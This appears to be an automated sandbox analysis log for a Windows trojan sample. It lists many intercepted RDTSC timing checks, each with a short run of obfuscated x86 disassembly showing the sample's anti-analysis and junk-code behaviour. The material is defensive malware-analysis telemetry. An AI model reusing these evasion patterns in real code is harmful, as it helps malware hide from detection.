Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D5C4F8 second address: D5C504 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F362081F59Eh 0x00000008 push eax 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D5C669 second address: D5C66F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D5C66F second address: D5C6B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F362081F5A1h 0x00000009 popad 0x0000000a jmp 00007F362081F5A4h 0x0000000f pop ebx 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F362081F59Eh 0x00000017 push edx 0x00000018 jnc 00007F362081F596h 0x0000001e pop edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D5C828 second address: D5C846 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F3620DC90FCh 0x0000000d jmp 00007F3620DC90FAh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D63FFC second address: D64008 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007F362081F596h 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D648B2 second address: D648D9 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F3620DC90F6h 0x00000008 jmp 00007F3620DC9105h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jns 00007F3620DC90F8h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D648D9 second address: D648DE instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D64A2C second address: D64A32 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D64B73 second address: D64B79 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D64EC5 second address: D64EDE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnc 00007F3620DC90F6h 0x0000000a jmp 00007F3620DC90FFh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D64EDE second address: D64EE4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D6E0F4 second address: D6E0FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D6CD6E second address: D6CD72 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D6CD72 second address: D6CD7B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D6CEC5 second address: D6CED1 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D6CED1 second address: D6CED5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D6CED5 second address: D6CEEA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 js 00007F362081F596h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push esi 0x0000000d jnp 00007F362081F5A2h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D6CEEA second address: D6CEF0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D6D1D5 second address: D6D1DB instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D6D1DB second address: D6D1E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 je 00007F3620DC90FCh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D6D1E9 second address: D6D1F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 pushad 0x00000006 jnc 00007F362081F596h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D6D1F7 second address: D6D223 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F3620DC90F6h 0x0000000a popad 0x0000000b push edx 0x0000000c jmp 00007F3620DC9107h 0x00000011 push ebx 0x00000012 pop ebx 0x00000013 pop edx 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 pop eax 0x00000018 pushad 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D6D969 second address: D6D975 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F362081F596h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D6DAD7 second address: D6DAEF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3620DC9104h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D6DAEF second address: D6DAF8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D6DAF8 second address: D6DB0C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F3620DC90FBh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D0FAD2 second address: D0FAD6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D6DF52 second address: D6DF56 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D6C876 second address: D6C87B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D728EA second address: D72900 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F3620DC90F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F3620DC90FAh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D29028 second address: D2902E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D2902E second address: D2907D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ebx 0x00000006 nop 0x00000007 lea eax, dword ptr [ebp+1248DDAAh] 0x0000000d push 00000000h 0x0000000f push esi 0x00000010 call 00007F3620DC90F8h 0x00000015 pop esi 0x00000016 mov dword ptr [esp+04h], esi 0x0000001a add dword ptr [esp+04h], 00000014h 0x00000022 inc esi 0x00000023 push esi 0x00000024 ret 0x00000025 pop esi 0x00000026 ret 0x00000027 nop 0x00000028 push ecx 0x00000029 push ebx 0x0000002a push ebx 0x0000002b pop ebx 0x0000002c pop ebx 0x0000002d pop ecx 0x0000002e push eax 0x0000002f pushad 0x00000030 jns 00007F3620DC90F8h 0x00000036 push eax 0x00000037 push edx 0x00000038 jmp 00007F3620DC9103h 0x0000003d rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D2907D second address: D0EEC2 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F362081F596h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b nop 0x0000000c push 00000000h 0x0000000e push ebp 0x0000000f call 00007F362081F598h 0x00000014 pop ebp 0x00000015 mov dword ptr [esp+04h], ebp 0x00000019 add dword ptr [esp+04h], 0000001Ah 0x00000021 inc ebp 0x00000022 push ebp 0x00000023 ret 0x00000024 pop ebp 0x00000025 ret 0x00000026 jns 00007F362081F59Ch 0x0000002c jng 00007F362081F59Ch 0x00000032 mov ecx, dword ptr [ebp+122D2936h] 0x00000038 call dword ptr [ebp+122D39C6h] 0x0000003e jl 00007F362081F5C5h 0x00000044 push edx 0x00000045 jmp 00007F362081F5A5h 0x0000004a pushad 0x0000004b popad 0x0000004c pop edx 0x0000004d jmp 00007F362081F5A6h 0x00000052 push ebx 0x00000053 push ebx 0x00000054 pushad 0x00000055 popad 0x00000056 pop ebx 0x00000057 pushad 0x00000058 jg 00007F362081F596h 0x0000005e jmp 00007F362081F5A7h 0x00000063 push ecx 0x00000064 pop ecx 0x00000065 push eax 0x00000066 push edx 0x00000067 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D295D0 second address: D295D4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D295D4 second address: D295F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F362081F59Bh 0x0000000b popad 0x0000000c push eax 0x0000000d pushad 0x0000000e pushad 0x0000000f pushad 0x00000010 popad 0x00000011 push ebx 0x00000012 pop ebx 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 jo 00007F362081F596h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D295F6 second address: D29625 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b pushad 0x0000000c pushad 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f jne 00007F3620DC90F6h 0x00000015 popad 0x00000016 push edi 0x00000017 jnp 00007F3620DC90F6h 0x0000001d pop edi 0x0000001e popad 0x0000001f mov eax, dword ptr [eax] 0x00000021 push eax 0x00000022 push edx 0x00000023 ja 00007F3620DC90FCh 0x00000029 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D29625 second address: D29655 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F362081F598h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp+04h], eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jnc 00007F362081F5AEh 0x00000018 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D297B5 second address: D297BC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D29D5D second address: D29D61 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D29D61 second address: D29D7A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b jmp 00007F3620DC90FBh 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D29E72 second address: D29E76 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D2A097 second address: D2A0AF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3620DC9104h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D2A0AF second address: D2A0CB instructions: 0x00000000 rdtsc 0x00000002 jno 00007F362081F59Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [eax] 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jnl 00007F362081F596h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D2A0CB second address: D2A0CF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D2A0CF second address: D2A0D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D2A0D5 second address: D2A0DF instructions: 0x00000000 rdtsc 0x00000002 jc 00007F3620DC90FCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D2A0DF second address: D2A0EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov dword ptr [esp+04h], eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D2A0EF second address: D2A0F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D2A0F3 second address: D2A0FD instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F362081F596h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D2A1AA second address: D2A1F6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 js 00007F3620DC90F6h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov dword ptr [esp], eax 0x00000011 cld 0x00000012 lea eax, dword ptr [ebp+1248DDEEh] 0x00000018 jmp 00007F3620DC9101h 0x0000001d mov ecx, dword ptr [ebp+122D1E43h] 0x00000023 push eax 0x00000024 push eax 0x00000025 push edx 0x00000026 pushad 0x00000027 jnc 00007F3620DC90F6h 0x0000002d jmp 00007F3620DC9102h 0x00000032 popad 0x00000033 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D2A1F6 second address: D2A23C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F362081F5A0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c mov edx, dword ptr [ebp+122D2B3Dh] 0x00000012 jmp 00007F362081F5A6h 0x00000017 lea eax, dword ptr [ebp+1248DDAAh] 0x0000001d mov ecx, dword ptr [ebp+122D2B8Dh] 0x00000023 push eax 0x00000024 push eax 0x00000025 push edx 0x00000026 push eax 0x00000027 push edx 0x00000028 push esi 0x00000029 pop esi 0x0000002a rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D2A23C second address: D2A253 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3620DC9103h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D2A253 second address: D0FAD2 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F362081F59Ch 0x00000008 js 00007F362081F596h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 mov dword ptr [esp], eax 0x00000013 movsx ecx, cx 0x00000016 or dx, 5C3Dh 0x0000001b call dword ptr [ebp+122D1E1Ah] 0x00000021 push esi 0x00000022 push eax 0x00000023 push edx 0x00000024 jmp 00007F362081F59Bh 0x00000029 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D72BE1 second address: D72BE5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D72BE5 second address: D72C0B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jc 00007F362081F596h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F362081F5A8h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D72C0B second address: D72C11 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D72C11 second address: D72C1D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D72C1D second address: D72C23 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D72C23 second address: D72C2A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D72C2A second address: D72C30 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D72EE8 second address: D72EEC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D72EEC second address: D72EF6 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F3620DC90F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D72EF6 second address: D72F00 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007F362081F596h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D72F00 second address: D72F04 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D7340C second address: D7341A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jne 00007F362081F596h 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D7341A second address: D7341E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D74FC3 second address: D74FC7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D78DA0 second address: D78DA9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D78DA9 second address: D78DAF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D78AAF second address: D78ABC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnp 00007F3620DC90F6h 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D81CB5 second address: D81CBE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edx 0x00000006 push esi 0x00000007 pop esi 0x00000008 pop edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D80463 second address: D80477 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3620DC9100h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D805DF second address: D805E3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D805E3 second address: D805ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D805ED second address: D805F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D805F3 second address: D805F7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D805F7 second address: D80609 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a push edi 0x0000000b pop edi 0x0000000c jnc 00007F362081F596h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D80609 second address: D8062B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3620DC9106h 0x00000007 push eax 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 pop eax 0x00000011 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: D80C2A second address: D80C2E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
